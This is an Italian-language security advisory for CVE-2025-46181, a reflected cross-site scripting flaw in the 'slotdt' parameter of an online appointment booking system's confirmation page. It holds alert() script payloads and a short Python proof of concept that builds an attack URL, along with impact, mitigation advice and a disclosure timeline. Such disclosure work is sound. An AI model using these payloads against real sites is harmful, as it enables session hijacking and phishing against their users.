CVE-2025-46181 - XSS Riflesso in un Sistema di Prenotazione Appuntamenti Online

CVE-ID: CVE-2025-46181
Scoperto da: Shemkumar P (shemkumar.github.io)
Tipo di Vulnerabilità: Cross-Site Scripting Riflesso (XSS)
Gravità: Media
Stato: Divulgato, CVE Assegnato da MITRE

✨ Descrizione

Esiste una vulnerabilità di Cross-Site Scripting Riflesso (XSS) in un sistema pubblico di prenotazione appuntamenti online (v1.0), in particolare nella pagina che gestisce la conferma dell'appuntamento. Un parametro GET non riesce a sanificare correttamente l'input, consentendo l'iniezione di JavaScript e l'esecuzione di codice nel browser della vittima.

📍 Parametro Vulnerabile

GET /confirmapp.php?slotdt=<payload>

Esempio di Payload (Codificato):

<script>alert("XSS")</script>

💥 Proof of Concept (PoC)

<script>alert("You have been hijacked")</script>

🚫 Link live oscurato per motivi etici. Questa vulnerabilità è stata testata in un ambiente controllato.

⚙️ Script Python PoC

import requests
from urllib.parse import quote

base_url = "https://[REDACTED]/confirmapp.php"
payload = '<script>alert("XSS triggered")</script>'

params = {
    'fullname': 'test',
    'mobile': '9999999999',
    'emailid': '[email protected]',
    'slotdt': payload,
    'slottime': '11:00:00',
    'doctorid': '2'
}

encoded = '&'.join(f"{k}={quote(str(v))}" for k, v in params.items())
print("Test URL (use only in authorized test environments):")
print(f"{base_url}?{encoded}")

🛡️ Impatto

• Esecuzione arbitraria di JavaScript
• Potenziale dirottamento della sessione
• Reindirizzamento clickjacking o phishing
• Attacchi mirati tramite link manipolati

🧪 Mitigazione

L'applicazione dovrebbe:

• Escape degli input utente utilizzando htmlspecialchars() in PHP
• Utilizzare una Content Security Policy (CSP)
• Sanificare i dati utente sia lato client che server

📜 Cronologia

• Scoperta: Maggio 2025
• CVE Assegnato da MITRE: Giugno 2025
• Rilascio Pubblico: Giugno 2025

🧑‍💻 Autore

Shemkumar P
🕸️ shemkumar.github.io
🔐 Ricercatore di Sicurezza Informatica | Appassionato di CTF | Reporter di CVE

⚠️ Questa pubblicazione è solo per uso educativo e difensivo. Testare o sfruttare vulnerabilità su sistemi di cui non si possiede o non si ha il permesso esplicito è illegale e non etico.